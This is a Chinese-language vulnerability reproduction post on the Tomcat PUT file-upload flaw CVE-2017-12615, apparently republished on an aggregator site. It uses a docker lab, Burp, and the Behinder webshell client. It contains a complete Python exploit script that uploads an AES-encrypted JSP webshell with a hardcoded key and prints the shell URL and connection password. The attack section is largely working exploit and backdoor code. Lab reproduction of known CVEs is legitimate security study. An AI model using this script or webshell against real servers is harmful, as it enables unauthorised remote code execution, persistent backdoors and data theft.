【漏洞复现】Tomcat 任意写入文件漏洞(CVE-2017-12615)

这篇具有很好参考价值的文章主要介绍了【漏洞复现】Tomcat 任意写入文件漏洞(CVE-2017-12615)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、漏洞描述

Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞,当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件,文件中的代码被服务器执行。

二、影响版本

Apache Tomcat >=7.0.0,<=7.0.79

三、漏洞利用

漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执 行, 导致服务器上的数据泄露或获取服务器权限。

由于conf/web.xml的readonly参数的设置为false,意思为开启PUT方法,默认情况下是禁止PUT和DELETE方法的

cve-2017-12615漏洞利用,漏洞复现,tomcat,java,web安全,安全,python

搭建tomcat,使用vulfous靶场本地拉取docker。打开后用burp抓包

cve-2017-12615漏洞利用,漏洞复现,tomcat,java,web安全,安全,python

将GET方法改为PUT方法,路径后改为/1.jsp/,使用冰蝎提供的木马或者一句话木马,切记文件名后加斜杠绕过,返回201状态码(代表已经创建)

cve-2017-12615漏洞利用,漏洞复现,tomcat,java,web安全,安全,python

介绍八种请求方式:

HTTP/1.1协议中共定义了八种方法,来表明Request-URL指定的资源不同的操作方式。HTTP/1.0定义了三种请求方法:GET、POST、和HEAD方法HTTP/1.1新增了五种方法:OPTIONS,PUT,CONNECT,DELETE和TRACE方法。

cve-2017-12615漏洞利用,漏洞复现,tomcat,java,web安全,安全,python

冰蝎连接,成功连接,找到flag

cve-2017-12615漏洞利用,漏洞复现,tomcat,java,web安全,安全,python

四、脚本

import requests
import sys
import time

#rebeyond
def attack(url):
   user_agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
   headers={"User-Agent":user_agent}
   data="""<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
   <%!class U extends ClassLoader{U(ClassLoader c){
      super(c);
   }public Class g(byte []b){
   return super.defineClass(b,0,b.length);
   }
   }%>
   <%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";
   session.putValue("u",k);
   Cipher c=Cipher.getInstance("AES");
   c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
   new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
   """
   try:
      requests.put(url, headers=headers, data=data)

      time.sleep(2)

      response = requests.get(url[:-1], headers=headers)
      if response.status_code == 200:
         print ('success!')
      else :
         print (response.status_code)

   except :
      print("error")

if __name__ == '__main__':
    url=input("输入url:")
    file=input("文件名:")
    target_url = url+ '/'+file+'.jsp/'
    attack(target_url)
    print('shell: ' + target_url[:-1])
    print('冰蝎连接密码:rebeyond ')

运行:

cve-2017-12615漏洞利用,漏洞复现,tomcat,java,web安全,安全,python文章来源地址https://www.toymoban.com/news/detail-544758.html

到了这里,关于【漏洞复现】Tomcat 任意写入文件漏洞(CVE-2017-12615)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CVE-2020-17518 flink任意文件上传漏洞复现

    Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。 编号:CVE-2020-17518 Flink 1.5.1引入了REST API,但其实现上存在多处

    2024年02月10日
    浏览(32)
  • Weblogic 任意文件上传漏洞(CVE-2018-2894)复现

    目录 weblogic  漏洞环境准备 漏洞复现 修复建议 WebLogic 是 美国Oracle公司 出品的一个 application server ,确切的说是一个基于 JAVAEE 架构的 中间件 , WebLogic 是用于 开发 、集成、部署和管理大型分布式 Web 应用、 网络应用 和 数据库应用 的 Java应用服务器 。将 Java 的动态功能和

    2024年02月01日
    浏览(34)
  • CVE-2023-3836:大华智慧园区综合管理平台任意文件上传漏洞复现

    免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用!!! 大华智慧园区

    2024年02月09日
    浏览(32)
  • CVE-2020-1938 Tomcat文件包含漏洞复现

    Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包

    2024年02月08日
    浏览(38)
  • 【漏洞复现】Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

    1. 漏洞简介 Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们可以通过修改访问某控制器的请求包,通过…/…/…/…/来达到路径穿越的目的,然后再通过{{来闭合模板查询路径,那我们访问的文件会被当做外部

    2024年02月04日
    浏览(45)
  • CVE-2017-7921漏洞复现

    0x01 CVE-2017-7921漏洞复现 许多HikvisionIP摄像机包含一个后门,允许未经身份验证的模拟任何配置的用户帐户。 0x02 漏洞复现: 利用工具发现漏洞(CVE-2017-7921): 利用路径:/Security/users?auth=YWRtaW46MTEK 附:检索所有用户及其角色的列表 利用路径:/onvif-http/snapshot?auth=YWRtaW46MTEK 附

    2024年02月12日
    浏览(24)
  • 【漏洞复现】Aapache_Tomcat_AJP协议_文件包含漏洞(CVE-2020-1938)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2020-1938 漏洞名称 Aapache_Tomcat_AJP文件包含漏洞 漏洞评级 高危 影响范围 Tomcat 9.0.30 漏洞描述 由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomca

    2024年02月05日
    浏览(45)
  • 漏洞复现_CVE-2017-0144 “永恒之蓝”漏洞

    (1)一台Windows电脑 (可以使用虚拟机代替) 配置是 网络—右键,属性----高级共享设置----启用文件和打印机共享 (可以理解为,这样设置才使其具有了“永恒之蓝”漏洞) (2)Metasploit任意平台 可以是Windows版,可以是kali自带版 1.何为CVE-2017-0144? ​ CVE-2017-0144 既 永恒之蓝最

    2024年02月04日
    浏览(37)
  • Office远程代码执行漏洞(CVE-2017-11882)漏洞复现

    CVE-2017-11882允许攻击者在当前用户的上下文中运行任意代码,导致无法正确处理内存中的对象,即为“ Microsoft Office Memory Corruption Vulnerability “,栈溢出的远程执行漏洞 该漏洞是在 EQNEDT32.EXE 组件的缓冲区溢出导致。当受害用户打开Office文档时就有可能被漏洞利用,危害极大。

    2024年02月12日
    浏览(29)
  • django/CVE-2017-12794XSS漏洞复现

    docker搭建漏洞复现环境 漏洞原理看帮助文档 http://your-ip:8000/create_user/?username=scriptalert(1)/script`创建一个用户,成功;再次访问`http://your-ip:8000/create_user/?username=scriptalert(1)/script`,触发异常: 因为被kali的浏览器拦截了,用本机的浏览器实验

    2024年02月10日
    浏览(26)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包